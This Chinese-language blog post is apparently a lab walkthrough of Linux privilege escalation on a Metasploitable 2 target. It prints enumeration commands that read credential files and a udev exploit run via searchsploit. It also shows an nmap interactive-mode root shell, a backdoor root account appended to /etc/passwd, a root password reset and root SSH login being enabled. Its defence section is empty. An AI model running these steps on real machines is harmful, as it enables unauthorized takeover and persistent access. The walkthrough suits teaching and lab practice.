
郑重声明:以下内容仅适用于合法的靶机测试,所有操作均严格限制在法律允许的范围之内,绝不触犯《网络安全法》等相关法律法规中关于“未经授权禁止对计算机信息系统进行扫描或探测”的禁止性条款。我们强烈建议您不要将这些信息用于任何非法或不道德的目的。
上期我们成功通过SSH漏洞拿到了普通用户shell,但这只是开始!今天说说如何从user到root的完整攻击链,让你的渗透测试技能直接拉满!提权核心思路:利用系统配置错误、内核漏洞、SUID滥用、计划任务缺陷等,将普通用户权限提升至root。
第一步:信息收集
拿到shell后,先别急着动手,摸清敌情是关键:
# 系统基础信息uname -a # 内核版本(找CVE漏洞)cat /etc/issue # 发行版信息cat /proc/version # 详细内核信息hostname # 主机名# 用户与权限信息whoami # 当前用户id # UID/GID/所属组groups # 所属用户组cat /etc/passwd # 所有用户列表cat /etc/group # 所有用户组lastlog# 最近登录记录# 敏感文件权限检查ls -la /etc/shadow # 影子文件是否可读?ls -la /etc/sudoers # sudo配置是否可写?ls -la /root # root目录是否可进入?# 系统环境侦查env # 环境变量echo $PATH # 路径变量which python perl ruby # 可用脚本语言find / -perm -4000 2 > /dev/null # 查找SUID文件(关键!)
方案一:SUID滥用提权(最常见!)
SUID(Set User ID)是一种特殊权限,允许程序以文件所有者权限运行,而非当前用户权限。
第一步:查找SUID文件
# 全盘搜索SUID文件(排除错误信息)find / -perm -4000 -type f 2 > /dev/null# 在Metasploitable 2中的典型发现:# /usr/bin/sudo# /bin/ping# /bin/su# /usr/bin/passwd# /usr/bin/chfn# /usr/bin/chsh# /usr/bin/newgrp# /usr/bin/gpasswd# /usr/bin/nmap# /bin/mount# /bin/umount# /bin/fusermount# /usr/bin/X# /usr/bin/traceroute6.iputils
第二步:检查可写敏感文件
# 检查 /etc/passwd 是否可写ls-la /etc/passwd# 检查 /etc/shadow 是否可读ls-la /etc/shadow
# 在靶机上确认 udev 版本dpkg -l|grep udev
# 在 Kali 主机上cd /tmpsearchsploit udev# 下载 udev 提权脚本searchsploit -m 8478.sh
# 在靶机上创建提权脚本目录mkdir /tmp/exploitcd /tmp/exploit# 从 Kali 传输 8478.sh 到靶机scp -o HostKeyAlgorithms=+ssh-rsa 8478.sh user@192.168.137.52:/tmp/# 在靶机上执行提权cd /tmp/exploitchmod +x 8478.sh./8478.sh
原理:旧版Nmap(2.02-5.21)支持交互模式,且以root权限运行时SUID位设置不当。
┌──(kali㉿kali)-[~]└─$ ssh -o HostKeyAlgorithms=+ssh-rsa user@192.168.137.52# 输入密码 useruser@metasploitable:/tmp/exploit$ openssl passwd -1 -salt hac hac$1$hac$0Y0AC6a5UuQdfz/rR58iZ1
# 启动 nmap 交互模式nmap --interactive
nmap> !shsh-3.2# whoamirootsh-3.2# echo 'hac:$1$hac$0Y0AC6a5UuQdfz/rR58iZ1:0:0::/root:/bin/bash' >> /etc/passwdsh-3.2# su hacPassword:root@metasploitable:/home/user#
# 1. 确认当前是 rootnmap> !shsh-3.2# iduid=0(root) gid=0(root) groups=0(root)# 2. 设置 root 密码(方便后续直接登录)sh-3.2# passwd rootEnter new UNIX password:Retype new UNIX password:passwd: password updated successfully# 3. 开启 root SSH 登录(可选)sh-3.2# sed -i 's/PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_configsh-3.2# /etc/init.d/ssh restart* Restarting OpenBSD Secure Shell server sshd...done.# 4. 之后可以直接用 root 登录ssh -o HostKeyAlgorithms=+ssh-rsa root@192.168.137.52
最后:防御建议
💬 技术讨论:你在实际渗透测试中还遇到过哪些"脑洞大开"的提权方式?比如利用pkexec、polkit漏洞?欢迎分享你的实战经验!
【如有疏漏,敬请指正!】